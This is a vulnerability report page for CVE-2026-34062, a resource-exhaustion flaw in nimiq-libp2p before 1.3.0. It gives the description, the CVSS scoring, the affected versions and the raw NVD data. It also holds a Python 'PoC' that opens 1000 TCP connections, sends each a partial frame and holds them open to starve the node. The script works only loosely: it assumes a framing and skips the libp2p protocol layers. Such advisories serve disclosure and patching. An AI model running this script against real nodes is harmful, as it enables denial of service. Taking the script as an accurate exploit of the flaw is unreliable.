Security Vulnerability Report
中文
CVE-2026-34062 CVSS 5.3 MEDIUM

CVE-2026-34062

Published: 2026-04-22 20:16:41
Last Modified: 2026-04-24 17:11:49

Description

nimiq-libp2p is a Nimiq network implementation based on libp2p. Prior to version 1.3.0, `MessageCodec::read_request` and `read_response` call `read_to_end()` on inbound substreams, so a remote peer can send only a partial frame and keep the substream open. because `Behaviour::new` also sets `with_max_concurrent_streams(1000)`, the node exposes a much larger stalled-slot budget than the library default. The patch for this vulnerability is formally released as part of v1.3.0. No known workarounds are available.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:nimiq:nimiq_proof-of-stake:*:*:*:*:*:rust:*:* - VULNERABLE
nimiq-libp2p < 1.3.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # PoC for CVE-2026-34062: Nimiq-libp2p Resource Exhaustion # This script simulates a malicious peer sending partial frames to exhaust connection slots. import socket import time TARGET_IP = "127.0.0.1" TARGET_PORT = 8443 # Default libp2p TCP port or specific Nimiq port NUM_CONNECTIONS = 1000 def attack(): print(f"[*] Starting attack on {TARGET_IP}:{TARGET_PORT}") sockets = [] try: for i in range(NUM_CONNECTIONS): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(2) try: s.connect((TARGET_IP, TARGET_PORT)) # Send a partial frame (e.g., just the length prefix or incomplete header) # Assuming a simple framing protocol for demonstration partial_payload = b"\x00\x00\x01" # Incomplete data s.sendall(partial_payload) sockets.append(s) print(f"[+] Connection {i+1} established and partial frame sent") except Exception as e: print(f"[-] Connection {i+1} failed: {e}") print("[*] All connections (or attempts) made. Keeping sockets open to hold slots...") while True: time.sleep(1) except KeyboardInterrupt: print("\n[*] Closing connections...") for s in sockets: s.close() if __name__ == "__main__": attack()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34062", "sourceIdentifier": "[email protected]", "published": "2026-04-22T20:16:40.530", "lastModified": "2026-04-24T17:11:49.060", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "nimiq-libp2p is a Nimiq network implementation based on libp2p. Prior to version 1.3.0, `MessageCodec::read_request` and `read_response` call `read_to_end()` on inbound substreams, so a remote peer can send only a partial frame and keep the substream open. because `Behaviour::new` also sets `with_max_concurrent_streams(1000)`, the node exposes a much larger stalled-slot budget than the library default. The patch for this vulnerability is formally released as part of v1.3.0. No known workarounds are available."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nimiq:nimiq_proof-of-stake:*:*:*:*:*:rust:*:*", "versionEndExcluding": "1.3.0", "matchCriteriaId": "CD0CAAD1-7626-4A4A-A6F8-9DC46FE50731"}]}]}], "references": [{"url": "https://github.com/nimiq/core-rs-albatross/commit/c021a5337b808c73571b44999f9753051bac7508", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nimiq/core-rs-albatross/releases/tag/v1.3.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/nimiq/core-rs-albatross/security/advisories/GHSA-gh7r-qh4p-q4fr", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}